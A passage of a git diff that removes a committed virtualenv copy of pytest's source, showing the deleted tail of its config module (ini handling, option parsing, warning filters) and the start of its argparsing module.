ExceptionInfo[BaseException], - option: argparse.Namespace | None = None, - ) -> None: - if option and getattr(option, "fulltrace", False): - style: TracebackStyle = "long" - else: - style = "native" - excrepr = excinfo.getrepr( - funcargs=True, showlocals=getattr(option, "showlocals", False), style=style - ) - res = self.hook.pytest_internalerror(excrepr=excrepr, excinfo=excinfo) - if not any(res): - for line in str(excrepr).split("\n"): - sys.stderr.write(f"INTERNALERROR> {line}\n") - sys.stderr.flush() - - def cwd_relative_nodeid(self, nodeid: str) -> str: - # nodeid's are relative to the rootpath, compute relative to cwd. - if self.invocation_params.dir != self.rootpath: - fullpath = self.rootpath / nodeid - nodeid = bestrelpath(self.invocation_params.dir, fullpath) - return nodeid - - @classmethod - def fromdictargs(cls, option_dict, args) -> Config: - """Constructor usable for subprocesses.""" - config = get_config(args) - config.option.__dict__.update(option_dict) - config.parse(args, addopts=False) - for x in config.option.plugins: - config.pluginmanager.consider_pluginarg(x) - return config - - def _processopt(self, opt: Argument) -> None: - for name in opt._short_opts + opt._long_opts: - self._opt2dest[name] = opt.dest - - if hasattr(opt, "default"): - if not hasattr(self.option, opt.dest): - setattr(self.option, opt.dest, opt.default) - - @hookimpl(trylast=True) - def pytest_load_initial_conftests(self, early_config: Config) -> None: - # We haven't fully parsed the command line arguments yet, so - # early_config.args it not set yet. But we need it for - # discovering the initial conftests. So "pre-run" the logic here. - # It will be done for real in `parse()`. - args, args_source = early_config._decide_args( - args=early_config.known_args_namespace.file_or_dir, - pyargs=early_config.known_args_namespace.pyargs, - testpaths=early_config.getini("testpaths"), - invocation_dir=early_config.invocation_params.dir, - rootpath=early_config.rootpath, - warn=False, - ) - self.pluginmanager._set_initial_conftests( - args=args, - pyargs=early_config.known_args_namespace.pyargs, - noconftest=early_config.known_args_namespace.noconftest, - rootpath=early_config.rootpath, - confcutdir=early_config.known_args_namespace.confcutdir, - invocation_dir=early_config.invocation_params.dir, - importmode=early_config.known_args_namespace.importmode, - consider_namespace_packages=early_config.getini( - "consider_namespace_packages" - ), - ) - - def _initini(self, args: Sequence[str]) -> None: - ns, unknown_args = self._parser.parse_known_and_unknown_args( - args, namespace=copy.copy(self.option) - ) - rootpath, inipath, inicfg = determine_setup( - inifile=ns.inifilename, - args=ns.file_or_dir + unknown_args, - rootdir_cmd_arg=ns.rootdir or None, - invocation_dir=self.invocation_params.dir, - ) - self._rootpath = rootpath - self._inipath = inipath - self.inicfg = inicfg - self._parser.extra_info["rootdir"] = str(self.rootpath) - self._parser.extra_info["inifile"] = str(self.inipath) - self._parser.addini("addopts", "Extra command line options", "args") - self._parser.addini("minversion", "Minimally required pytest version") - self._parser.addini( - "required_plugins", - "Plugins that must be present for pytest to run", - type="args", - default=[], - ) - self._override_ini = ns.override_ini or () - - def _consider_importhook(self, args: Sequence[str]) -> None: - """Install the PEP 302 import hook if using assertion rewriting. - - Needs to parse the --assert= option from the commandline - and find all the installed plugins to mark them for rewriting - by the importhook. - """ - ns, unknown_args = self._parser.parse_known_and_unknown_args(args) - mode = getattr(ns, "assertmode", "plain") - if mode == "rewrite": - import _pytest.assertion - - try: - hook = _pytest.assertion.install_importhook(self) - except SystemError: - mode = "plain" - else: - self._mark_plugins_for_rewrite(hook) - self._warn_about_missing_assertion(mode) - - def _mark_plugins_for_rewrite(self, hook) -> None: - """Given an importhook, mark for rewrite any top-level - modules or packages in the distribution package for - all pytest plugins.""" - self.pluginmanager.rewrite_hook = hook - - if os.environ.get("PYTEST_DISABLE_PLUGIN_AUTOLOAD"): - # We don't autoload from distribution package entry points, - # no need to continue. - return - - package_files = ( - str(file) - for dist in importlib.metadata.distributions() - if any(ep.group == "pytest11" for ep in dist.entry_points) - for file in dist.files or [] - ) - - for name in _iter_rewritable_modules(package_files): - hook.mark_rewrite(name) - - def _validate_args(self, args: list[str], via: str) -> list[str]: - """Validate known args.""" - self._parser._config_source_hint = via # type: ignore - try: - self._parser.parse_known_and_unknown_args( - args, namespace=copy.copy(self.option) - ) - finally: - del self._parser._config_source_hint # type: ignore - - return args - - def _decide_args( - self, - *, - args: list[str], - pyargs: bool, - testpaths: list[str], - invocation_dir: pathlib.Path, - rootpath: pathlib.Path, - warn: bool, - ) -> tuple[list[str], ArgsSource]: - """Decide the args (initial paths/nodeids) to use given the relevant inputs. - - :param warn: Whether can issue warnings. - - :returns: The args and the args source. Guaranteed to be non-empty. - """ - if args: - source = Config.ArgsSource.ARGS - result = args - else: - if invocation_dir == rootpath: - source = Config.ArgsSource.TESTPATHS - if pyargs: - result = testpaths - else: - result = [] - for path in testpaths: - result.extend(sorted(glob.iglob(path, recursive=True))) - if testpaths and not result: - if warn: - warning_text = ( - "No files were found in testpaths; " - "consider removing or adjusting your testpaths configuration. " - "Searching recursively from the current directory instead." - ) - self.issue_config_time_warning( - PytestConfigWarning(warning_text), stacklevel=3 - ) - else: - result = [] - if not result: - source = Config.ArgsSource.INVOCATION_DIR - result = [str(invocation_dir)] - return result, source - - def _preparse(self, args: list[str], addopts: bool = True) -> None: - if addopts: - env_addopts = os.environ.get("PYTEST_ADDOPTS", "") - if len(env_addopts): - args[:] = ( - self._validate_args(shlex.split(env_addopts), "via PYTEST_ADDOPTS") - + args - ) - self._initini(args) - if addopts: - args[:] = ( - self._validate_args(self.getini("addopts"), "via addopts config") + args - ) - - self.known_args_namespace = self._parser.parse_known_args( - args, namespace=copy.copy(self.option) - ) - self._checkversion() - self._consider_importhook(args) - self.pluginmanager.consider_preparse(args, exclude_only=False) - if not os.environ.get("PYTEST_DISABLE_PLUGIN_AUTOLOAD"): - # Don't autoload from distribution package entry point. Only - # explicitly specified plugins are going to be loaded. - self.pluginmanager.load_setuptools_entrypoints("pytest11") - self.pluginmanager.consider_env() - - self.known_args_namespace = self._parser.parse_known_args( - args, namespace=copy.copy(self.known_args_namespace) - ) - - self._validate_plugins() - self._warn_about_skipped_plugins() - - if self.known_args_namespace.confcutdir is None: - if self.inipath is not None: - confcutdir = str(self.inipath.parent) - else: - confcutdir = str(self.rootpath) - self.known_args_namespace.confcutdir = confcutdir - try: - self.hook.pytest_load_initial_conftests( - early_config=self, args=args, parser=self._parser - ) - except ConftestImportFailure as e: - if self.known_args_namespace.help or self.known_args_namespace.version: - # we don't want to prevent --help/--version to work - # so just let is pass and print a warning at the end - self.issue_config_time_warning( - PytestConfigWarning(f"could not load initial conftests: {e.path}"), - stacklevel=2, - ) - else: - raise - - @hookimpl(wrapper=True) - def pytest_collection(self) -> Generator[None, object, object]: - # Validate invalid ini keys after collection is done so we take in account - # options added by late-loading conftest files. - try: - return (yield) - finally: - self._validate_config_options() - - def _checkversion(self) -> None: - import pytest - - minver = self.inicfg.get("minversion", None) - if minver: - # Imported lazily to improve start-up time. - from packaging.version import Version - - if not isinstance(minver, str): - raise pytest.UsageError( - f"{self.inipath}: 'minversion' must be a single value" - ) - - if Version(minver) > Version(pytest.__version__): - raise pytest.UsageError( - f"{self.inipath}: 'minversion' requires pytest-{minver}, actual pytest-{pytest.__version__}'" - ) - - def _validate_config_options(self) -> None: - for key in sorted(self._get_unknown_ini_keys()): - self._warn_or_fail_if_strict(f"Unknown config option: {key}\n") - - def _validate_plugins(self) -> None: - required_plugins = sorted(self.getini("required_plugins")) - if not required_plugins: - return - - # Imported lazily to improve start-up time. - from packaging.requirements import InvalidRequirement - from packaging.requirements import Requirement - from packaging.version import Version - - plugin_info = self.pluginmanager.list_plugin_distinfo() - plugin_dist_info = {dist.project_name: dist.version for _, dist in plugin_info} - - missing_plugins = [] - for required_plugin in required_plugins: - try: - req = Requirement(required_plugin) - except InvalidRequirement: - missing_plugins.append(required_plugin) - continue - - if req.name not in plugin_dist_info: - missing_plugins.append(required_plugin) - elif not req.specifier.contains( - Version(plugin_dist_info[req.name]), prereleases=True - ): - missing_plugins.append(required_plugin) - - if missing_plugins: - raise UsageError( - "Missing required plugins: {}".format(", ".join(missing_plugins)), - ) - - def _warn_or_fail_if_strict(self, message: str) -> None: - if self.known_args_namespace.strict_config: - raise UsageError(message) - - self.issue_config_time_warning(PytestConfigWarning(message), stacklevel=3) - - def _get_unknown_ini_keys(self) -> list[str]: - parser_inicfg = self._parser._inidict - return [name for name in self.inicfg if name not in parser_inicfg] - - def parse(self, args: list[str], addopts: bool = True) -> None: - # Parse given cmdline arguments into this config object. - assert ( - self.args == [] - ), "can only parse cmdline args at most once per Config object" - self.hook.pytest_addhooks.call_historic( - kwargs=dict(pluginmanager=self.pluginmanager) - ) - self._preparse(args, addopts=addopts) - self._parser.after_preparse = True # type: ignore - try: - args = self._parser.parse_setoption( - args, self.option, namespace=self.option - ) - self.args, self.args_source = self._decide_args( - args=args, - pyargs=self.known_args_namespace.pyargs, - testpaths=self.getini("testpaths"), - invocation_dir=self.invocation_params.dir, - rootpath=self.rootpath, - warn=True, - ) - except PrintHelp: - pass - - def issue_config_time_warning(self, warning: Warning, stacklevel: int) -> None: - """Issue and handle a warning during the "configure" stage. - - During ``pytest_configure`` we can't capture warnings using the ``catch_warnings_for_item`` - function because it is not possible to have hook wrappers around ``pytest_configure``. - - This function is mainly intended for plugins that need to issue warnings during - ``pytest_configure`` (or similar stages). - - :param warning: The warning instance. - :param stacklevel: stacklevel forwarded to warnings.warn. - """ - if self.pluginmanager.is_blocked("warnings"): - return - - cmdline_filters = self.known_args_namespace.pythonwarnings or [] - config_filters = self.getini("filterwarnings") - - with warnings.catch_warnings(record=True) as records: - warnings.simplefilter("always", type(warning)) - apply_warning_filters(config_filters, cmdline_filters) - warnings.warn(warning, stacklevel=stacklevel) - - if records: - frame = sys._getframe(stacklevel - 1) - location = frame.f_code.co_filename, frame.f_lineno, frame.f_code.co_name - self.hook.pytest_warning_recorded.call_historic( - kwargs=dict( - warning_message=records[0], - when="config", - nodeid="", - location=location, - ) - ) - - def addinivalue_line(self, name: str, line: str) -> None: - """Add a line to an ini-file option. The option must have been - declared but might not yet be set in which case the line becomes - the first line in its value.""" - x = self.getini(name) - assert isinstance(x, list) - x.append(line) # modifies the cached list inline - - def getini(self, name: str): - """Return configuration value from an :ref:`ini file `. - - If a configuration value is not defined in an - :ref:`ini file `, then the ``default`` value provided while - registering the configuration through - :func:`parser.addini ` will be returned. - Please note that you can even provide ``None`` as a valid - default value. - - If ``default`` is not provided while registering using - :func:`parser.addini `, then a default value - based on the ``type`` parameter passed to - :func:`parser.addini ` will be returned. - The default values based on ``type`` are: - ``paths``, ``pathlist``, ``args`` and ``linelist`` : empty list ``[]`` - ``bool`` : ``False`` - ``string`` : empty string ``""`` - - If neither the ``default`` nor the ``type`` parameter is passed - while registering the configuration through - :func:`parser.addini `, then the configuration - is treated as a string and a default empty string '' is returned. - - If the specified name hasn't been registered through a prior - :func:`parser.addini ` call (usually from a - plugin), a ValueError is raised. - """ - try: - return self._inicache[name] - except KeyError: - self._inicache[name] = val = self._getini(name) - return val - - # Meant for easy monkeypatching by legacypath plugin. - # Can be inlined back (with no cover removed) once legacypath is gone. - def _getini_unknown_type(self, name: str, type: str, value: str | list[str]): - msg = f"unknown configuration type: {type}" - raise ValueError(msg, value) # pragma: no cover - - def _getini(self, name: str): - try: - description, type, default = self._parser._inidict[name] - except KeyError as e: - raise ValueError(f"unknown configuration value: {name!r}") from e - override_value = self._get_override_ini_value(name) - if override_value is None: - try: - value = self.inicfg[name] - except KeyError: - return default - else: - value = override_value - # Coerce the values based on types. - # - # Note: some coercions are only required if we are reading from .ini files, because - # the file format doesn't contain type information, but when reading from toml we will - # get either str or list of str values (see _parse_ini_config_from_pyproject_toml). - # For example: - # - # ini: - # a_line_list = "tests acceptance" - # in this case, we need to split the string to obtain a list of strings. - # - # toml: - # a_line_list = ["tests", "acceptance"] - # in this case, we already have a list ready to use. - # - if type == "paths": - dp = ( - self.inipath.parent - if self.inipath is not None - else self.invocation_params.dir - ) - input_values = shlex.split(value) if isinstance(value, str) else value - return [dp / x for x in input_values] - elif type == "args": - return shlex.split(value) if isinstance(value, str) else value - elif type == "linelist": - if isinstance(value, str): - return [t for t in map(lambda x: x.strip(), value.split("\n")) if t] - else: - return value - elif type == "bool": - return _strtobool(str(value).strip()) - elif type == "string": - return value - elif type is None: - return value - else: - return self._getini_unknown_type(name, type, value) - - def _getconftest_pathlist( - self, name: str, path: pathlib.Path - ) -> list[pathlib.Path] | None: - try: - mod, relroots = self.pluginmanager._rget_with_confmod(name, path) - except KeyError: - return None - assert mod.__file__ is not None - modpath = pathlib.Path(mod.__file__).parent - values: list[pathlib.Path] = [] - for relroot in relroots: - if isinstance(relroot, os.PathLike): - relroot = pathlib.Path(relroot) - else: - relroot = relroot.replace("/", os.sep) - relroot = absolutepath(modpath / relroot) - values.append(relroot) - return values - - def _get_override_ini_value(self, name: str) -> str | None: - value = None - # override_ini is a list of "ini=value" options. - # Always use the last item if multiple values are set for same ini-name, - # e.g. -o foo=bar1 -o foo=bar2 will set foo to bar2. - for ini_config in self._override_ini: - try: - key, user_ini_value = ini_config.split("=", 1) - except ValueError as e: - raise UsageError( - f"-o/--override-ini expects option=value style (got: {ini_config!r})." - ) from e - else: - if key == name: - value = user_ini_value - return value - - def getoption(self, name: str, default=notset, skip: bool = False): - """Return command line option value. - - :param name: Name of the option. You may also specify - the literal ``--OPT`` option instead of the "dest" option name. - :param default: Default value if no option of that name exists. - :param skip: If True, raise pytest.skip if option does not exists - or has a None value. - """ - name = self._opt2dest.get(name, name) - try: - val = getattr(self.option, name) - if val is None and skip: - raise AttributeError(name) - return val - except AttributeError as e: - if default is not notset: - return default - if skip: - import pytest - - pytest.skip(f"no {name!r} option found") - raise ValueError(f"no option named {name!r}") from e - - def getvalue(self, name: str, path=None): - """Deprecated, use getoption() instead.""" - return self.getoption(name) - - def getvalueorskip(self, name: str, path=None): - """Deprecated, use getoption(skip=True) instead.""" - return self.getoption(name, skip=True) - - #: Verbosity type for failed assertions (see :confval:`verbosity_assertions`). - VERBOSITY_ASSERTIONS: Final = "assertions" - #: Verbosity type for test case execution (see :confval:`verbosity_test_cases`). - VERBOSITY_TEST_CASES: Final = "test_cases" - _VERBOSITY_INI_DEFAULT: Final = "auto" - - def get_verbosity(self, verbosity_type: str | None = None) -> int: - r"""Retrieve the verbosity level for a fine-grained verbosity type. - - :param verbosity_type: Verbosity type to get level for. If a level is - configured for the given type, that value will be returned. If the - given type is not a known verbosity type, the global verbosity - level will be returned. If the given type is None (default), the - global verbosity level will be returned. - - To configure a level for a fine-grained verbosity type, the - configuration file should have a setting for the configuration name - and a numeric value for the verbosity level. A special value of "auto" - can be used to explicitly use the global verbosity level. - - Example: - - .. code-block:: ini - - # content of pytest.ini - [pytest] - verbosity_assertions = 2 - - .. code-block:: console - - pytest -v - - .. code-block:: python - - print(config.get_verbosity()) # 1 - print(config.get_verbosity(Config.VERBOSITY_ASSERTIONS)) # 2 - """ - global_level = self.option.verbose - assert isinstance(global_level, int) - if verbosity_type is None: - return global_level - - ini_name = Config._verbosity_ini_name(verbosity_type) - if ini_name not in self._parser._inidict: - return global_level - - level = self.getini(ini_name) - if level == Config._VERBOSITY_INI_DEFAULT: - return global_level - - return int(level) - - @staticmethod - def _verbosity_ini_name(verbosity_type: str) -> str: - return f"verbosity_{verbosity_type}" - - @staticmethod - def _add_verbosity_ini(parser: Parser, verbosity_type: str, help: str) -> None: - """Add a output verbosity configuration option for the given output type. - - :param parser: Parser for command line arguments and ini-file values. - :param verbosity_type: Fine-grained verbosity category. - :param help: Description of the output this type controls. - - The value should be retrieved via a call to - :py:func:`config.get_verbosity(type) `. - """ - parser.addini( - Config._verbosity_ini_name(verbosity_type), - help=help, - type="string", - default=Config._VERBOSITY_INI_DEFAULT, - ) - - def _warn_about_missing_assertion(self, mode: str) -> None: - if not _assertion_supported(): - if mode == "plain": - warning_text = ( - "ASSERTIONS ARE NOT EXECUTED" - " and FAILING TESTS WILL PASS. Are you" - " using python -O?" - ) - else: - warning_text = ( - "assertions not in test modules or" - " plugins will be ignored" - " because assert statements are not executed " - "by the underlying Python interpreter " - "(are you using python -O?)\n" - ) - self.issue_config_time_warning( - PytestConfigWarning(warning_text), - stacklevel=3, - ) - - def _warn_about_skipped_plugins(self) -> None: - for module_name, msg in self.pluginmanager.skipped_plugins: - self.issue_config_time_warning( - PytestConfigWarning(f"skipped plugin {module_name!r}: {msg}"), - stacklevel=2, - ) - - -def _assertion_supported() -> bool: - try: - assert False - except AssertionError: - return True - else: - return False # type: ignore[unreachable] - - -def create_terminal_writer( - config: Config, file: TextIO | None = None -) -> TerminalWriter: - """Create a TerminalWriter instance configured according to the options - in the config object. - - Every code which requires a TerminalWriter object and has access to a - config object should use this function. - """ - tw = TerminalWriter(file=file) - - if config.option.color == "yes": - tw.hasmarkup = True - elif config.option.color == "no": - tw.hasmarkup = False - - if config.option.code_highlight == "yes": - tw.code_highlight = True - elif config.option.code_highlight == "no": - tw.code_highlight = False - - return tw - - -def _strtobool(val: str) -> bool: - """Convert a string representation of truth to True or False. - - True values are 'y', 'yes', 't', 'true', 'on', and '1'; false values - are 'n', 'no', 'f', 'false', 'off', and '0'. Raises ValueError if - 'val' is anything else. - - .. note:: Copied from distutils.util. - """ - val = val.lower() - if val in ("y", "yes", "t", "true", "on", "1"): - return True - elif val in ("n", "no", "f", "false", "off", "0"): - return False - else: - raise ValueError(f"invalid truth value {val!r}") - - -@lru_cache(maxsize=50) -def parse_warning_filter( - arg: str, *, escape: bool -) -> tuple[warnings._ActionKind, str, type[Warning], str, int]: - """Parse a warnings filter string. - - This is copied from warnings._setoption with the following changes: - - * Does not apply the filter. - * Escaping is optional. - * Raises UsageError so we get nice error messages on failure. - """ - __tracebackhide__ = True - error_template = dedent( - f"""\ - while parsing the following warning configuration: - - {arg} - - This error occurred: - - {{error}} - """ - ) - - parts = arg.split(":") - if len(parts) > 5: - doc_url = ( - "https://docs.python.org/3/library/warnings.html#describing-warning-filters" - ) - error = dedent( - f"""\ - Too many fields ({len(parts)}), expected at most 5 separated by colons: - - action:message:category:module:line - - For more information please consult: {doc_url} - """ - ) - raise UsageError(error_template.format(error=error)) - - while len(parts) < 5: - parts.append("") - action_, message, category_, module, lineno_ = (s.strip() for s in parts) - try: - action: warnings._ActionKind = warnings._getaction(action_) # type: ignore[attr-defined] - except warnings._OptionError as e: - raise UsageError(error_template.format(error=str(e))) from None - try: - category: type[Warning] = _resolve_warning_category(category_) - except Exception: - exc_info = ExceptionInfo.from_current() - exception_text = exc_info.getrepr(style="native") - raise UsageError(error_template.format(error=exception_text)) from None - if message and escape: - message = re.escape(message) - if module and escape: - module = re.escape(module) + r"\Z" - if lineno_: - try: - lineno = int(lineno_) - if lineno < 0: - raise ValueError("number is negative") - except ValueError as e: - raise UsageError( - error_template.format(error=f"invalid lineno {lineno_!r}: {e}") - ) from None - else: - lineno = 0 - return action, message, category, module, lineno - - -def _resolve_warning_category(category: str) -> type[Warning]: - """ - Copied from warnings._getcategory, but changed so it lets exceptions (specially ImportErrors) - propagate so we can get access to their tracebacks (#9218). - """ - __tracebackhide__ = True - if not category: - return Warning - - if "." not in category: - import builtins as m - - klass = category - else: - module, _, klass = category.rpartition(".") - m = __import__(module, None, None, [klass]) - cat = getattr(m, klass) - if not issubclass(cat, Warning): - raise UsageError(f"{cat} is not a Warning subclass") - return cast(Type[Warning], cat) - - -def apply_warning_filters( - config_filters: Iterable[str], cmdline_filters: Iterable[str] -) -> None: - """Applies pytest-configured filters to the warnings module""" - # Filters should have this precedence: cmdline options, config. - # Filters should be applied in the inverse order of precedence. - for arg in config_filters: - warnings.filterwarnings(*parse_warning_filter(arg, escape=False)) - - for arg in cmdline_filters: - warnings.filterwarnings(*parse_warning_filter(arg, escape=True)) diff --git a/backend/venv/Lib/site-packages/_pytest/config/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/config/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 8c7fd0dc..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/config/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/config/__pycache__/argparsing.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/config/__pycache__/argparsing.cpython-311.pyc deleted file mode 100644 index 1e6173a7..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/config/__pycache__/argparsing.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/config/__pycache__/compat.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/config/__pycache__/compat.cpython-311.pyc deleted file mode 100644 index c09b5e4d..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/config/__pycache__/compat.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/config/__pycache__/exceptions.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/config/__pycache__/exceptions.cpython-311.pyc deleted file mode 100644 index de21b63c..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/config/__pycache__/exceptions.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/config/__pycache__/findpaths.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/config/__pycache__/findpaths.cpython-311.pyc deleted file mode 100644 index b7f7356c..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/config/__pycache__/findpaths.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/config/argparsing.py b/backend/venv/Lib/site-packages/_pytest/config/argparsing.py deleted file mode 100644 index 85aa4632..00000000 --- a/backend/venv/Lib/site-packages/_pytest/config/argparsing.py +++ /dev/null @@ -1,551 +0,0 @@ -# mypy: allow-untyped-defs -from __future__ import annotations - -import argparse -from gettext import gettext -import os -import sys -from typing import Any -from typing import Callable -from typing import cast -from typing import final -from typing import List -from typing import Literal -from typing import Mapping -from typing import NoReturn -from typing import Sequence - -import _pytest._io -from _pytest.config.exceptions import UsageError -from _pytest.deprecated import check_ispytest - - -FILE_OR_DIR = "file_or_dir" - - -class NotSet: - def __repr__(self) -> str: - return "" - - -NOT_SET = NotSet() - - -@final -class Parser: - """Parser for command line arguments and ini-file values. - - :ivar extra_info: Dict of generic param -> value to display in case - there's an error processing the command line arguments. - """ - - prog: str | None = None - - def __init__( - self, - usage: str | None = None, - processopt: Callable[[Argument], None] | None = None, - *, - _ispytest: bool = False, - ) -> None: - check_ispytest(_ispytest) - self._anonymous = OptionGroup("Custom options", parser=self, _ispytest=True) - self._groups: list[OptionGroup] = [] - self._processopt = processopt - self._usage = usage - self._inidict: dict[str, tuple[str, str | None, Any]] = {} - self._ininames: list[str] = [] - self.extra_info: dict[str, Any] = {} - - def processoption(self, option: Argument) -> None: - if self._processopt: - if option.dest: - self._processopt(option) - - def getgroup( - self, name: str, description: str = "", after: str | None = None - ) -> OptionGroup: - """Get (or create) a named option Group. - - :param name: Name of the option group. - :param description: Long description for --help output. - :param after: Name of another group, used for ordering --help output. - :returns: The option group. - - The returned group object has an ``addoption`` method with the same - signature as :func:`parser.addoption ` but - will be shown in the respective group in the output of - ``pytest --help``. - """ - for group in self._groups: - if group.name == name: - return group - group = OptionGroup(name, description, parser=self, _ispytest=True) - i = 0 - for i, grp in enumerate(self._groups): - if grp.name == after: - break - self._groups.insert(i + 1, group) - return group - - def addoption(self, *opts: str, **attrs: Any) -> None: - """Register a command line option. - - :param opts: - Option names, can be short or long options. - :param attrs: - Same attributes as the argparse library's :meth:`add_argument() - ` function accepts. - - After command line parsing, options are available on the pytest config - object via ``config.option.NAME`` where ``NAME`` is usually set - by passing a ``dest`` attribute, for example - ``addoption("--long", dest="NAME", ...)``. - """ - self._anonymous.addoption(*opts, **attrs) - - def parse( - self, - args: Sequence[str | os.PathLike[str]], - namespace: argparse.Namespace | None = None, - ) -> argparse.Namespace: - from _pytest._argcomplete import try_argcomplete - - self.optparser = self._getparser() - try_argcomplete(self.optparser) - strargs = [os.fspath(x) for x in args] - return self.optparser.parse_args(strargs, namespace=namespace) - - def _getparser(self) -> MyOptionParser: - from _pytest._argcomplete import filescompleter - - optparser = MyOptionParser(self, self.extra_info, prog=self.prog) - groups = [*self._groups, self._anonymous] - for group in groups: - if group.options: - desc = group.description or group.name - arggroup = optparser.add_argument_group(desc) - for option in group.options: - n = option.names() - a = option.attrs() - arggroup.add_argument(*n, **a) - file_or_dir_arg = optparser.add_argument(FILE_OR_DIR, nargs="*") - # bash like autocompletion for dirs (appending '/') - # Type ignored because typeshed doesn't know about argcomplete. - file_or_dir_arg.completer = filescompleter # type: ignore - return optparser - - def parse_setoption( - self, - args: Sequence[str | os.PathLike[str]], - option: argparse.Namespace, - namespace: argparse.Namespace | None = None, - ) -> list[str]: - parsedoption = self.parse(args, namespace=namespace) - for name, value in parsedoption.__dict__.items(): - setattr(option, name, value) - return cast(List[str], getattr(parsedoption, FILE_OR_DIR)) - - def parse_known_args( - self, - args: Sequence[str | os.PathLike[str]], - namespace: argparse.Namespace | None = None, - ) -> argparse.Namespace: - """Parse the known arguments at this point. - - :returns: An argparse namespace object. - """ - return self.parse_known_and_unknown_args(args, namespace=namespace)[0] - - def parse_known_and_unknown_args( - self, - args: Sequence[str | os.PathLike[str]], - namespace: argparse.Namespace | None = None, - ) -> tuple[argparse.Namespace, list[str]]: - """Parse the known arguments at this point, and also return the - remaining unknown arguments. - - :returns: - A tuple containing an argparse namespace object for the known - arguments, and a list of the unknown arguments. - """ - optparser = self._getparser() - strargs = [os.fspath(x) for x in args] - return optparser.parse_known_args(strargs, namespace=namespace) - - def addini( - self, - name: str, - help: str, - type: Literal["string", "paths", "pathlist", "args", "linelist", "bool"] - | None = None, - default: Any = NOT_SET, - ) -> None: - """Register an ini-file option. - - :param name: - Name of the ini-variable. - :param type: - Type of the variable. Can be: - - * ``string``: a string - * ``bool``: a boolean - * ``args``: a list of strings, separated as in a shell - * ``linelist``: a list of strings, separated by line breaks - * ``paths``: a list of :class:`pathlib.Path`, separated as in a shell - * ``pathlist``: a list of ``py.path``, separated as in a shell - - For ``paths`` and ``pathlist`` types, they are considered relative to the ini-file. - In case the execution is happening without an ini-file defined, - they will be considered relative to the current working directory (for example with ``--override-ini``). - - .. versionadded:: 7.0 - The ``paths`` variable type. - - .. versionadded:: 8.1 - Use the current working directory to resolve ``paths`` and ``pathlist`` in the absence of an ini-file. - - Defaults to ``string`` if ``None`` or not passed. - :param default: - Default value if no ini-file option exists but is queried. - - The value of ini-variables can be retrieved via a call to - :py:func:`config.getini(name) `. - """ - assert type in (None, "string", "paths", "pathlist", "args", "linelist", "bool") - if default is NOT_SET: - default = get_ini_default_for_type(type) - - self._inidict[name] = (help, type, default) - self._ininames.append(name) - - -def get_ini_default_for_type( - type: Literal["string", "paths", "pathlist", "args", "linelist", "bool"] | None, -) -> Any: - """ - Used by addini to get the default value for a given ini-option type, when - default is not supplied. - """ - if type is None: - return "" - elif type in ("paths", "pathlist", "args", "linelist"): - return [] - elif type == "bool": - return False - else: - return "" - - -class ArgumentError(Exception): - """Raised if an Argument instance is created with invalid or - inconsistent arguments.""" - - def __init__(self, msg: str, option: Argument | str) -> None: - self.msg = msg - self.option_id = str(option) - - def __str__(self) -> str: - if self.option_id: - return f"option {self.option_id}: {self.msg}" - else: - return self.msg - - -class Argument: - """Class that mimics the necessary behaviour of optparse.Option. - - It's currently a least effort implementation and ignoring choices - and integer prefixes. - - https://docs.python.org/3/library/optparse.html#optparse-standard-option-types - """ - - def __init__(self, *names: str, **attrs: Any) -> None: - """Store params in private vars for use in add_argument.""" - self._attrs = attrs - self._short_opts: list[str] = [] - self._long_opts: list[str] = [] - try: - self.type = attrs["type"] - except KeyError: - pass - try: - # Attribute existence is tested in Config._processopt. - self.default = attrs["default"] - except KeyError: - pass - self._set_opt_strings(names) - dest: str | None = attrs.get("dest") - if dest: - self.dest = dest - elif self._long_opts: - self.dest = self._long_opts[0][2:].replace("-", "_") - else: - try: - self.dest = self._short_opts[0][1:] - except IndexError as e: - self.dest = "???" # Needed for the error repr. - raise ArgumentError("need a long or short option", self) from e - - def names(self) -> list[str]: - return self._short_opts + self._long_opts - - def attrs(self) -> Mapping[str, Any]: - # Update any attributes set by processopt. - attrs = "default dest help".split() - attrs.append(self.dest) - for attr in attrs: - try: - self._attrs[attr] = getattr(self, attr) - except AttributeError: - pass - return self._attrs - - def _set_opt_strings(self, opts: Sequence[str]) -> None: - """Directly from optparse. - - Might not be necessary as this is passed to argparse later on. - """ - for opt in opts: - if len(opt) < 2: - raise ArgumentError( - f"invalid option string {opt!r}: " - "must be at least two characters long", - self, - ) - elif len(opt) == 2: - if not (opt[0] == "-" and opt[1] != "-"): - raise ArgumentError( - f"invalid short option string {opt!r}: " - "must be of the form -x, (x any non-dash char)", - self, - ) - self._short_opts.append(opt) - else: - if not (opt[0:2] == "--" and opt[2] != "-"): - raise ArgumentError( - f"invalid long option string {opt!r}: " - "must start with --, followed by non-dash", - self, - ) - self._long_opts.append(opt) - - def __repr__(self) -> str: - args: list[str] = [] - if self._short_opts: - args += ["_short_opts: " + repr(self._short_opts)] - if self._long_opts: - args += ["_long_opts: " + repr(self._long_opts)] - args += ["dest: " + repr(self.dest)] - if hasattr(self, "type"): - args += ["type: " + repr(self.type)] - if hasattr(self, "default"): - args += ["default: " + repr(self.default)] - return "Argument({})".format(", ".join(args)) - - -class OptionGroup: - """A group of options shown in its own section.""" - - def __init__( - self, - name: str, - description: str = "", - parser: Parser | None = None, - *, - _ispytest: bool = False, - ) -> None: - check_ispytest(_ispytest) - self.name = name - self.description = description - self.options: list[Argument] = [] - self.parser = parser - - def addoption(self, *opts: str, **attrs: Any) -> None: - """Add an option to this group. - - If a shortened version of a long option is specified, it will - be suppressed in the help. ``addoption('--twowords', '--two-words')`` - results in help showing ``--two-words`` only, but 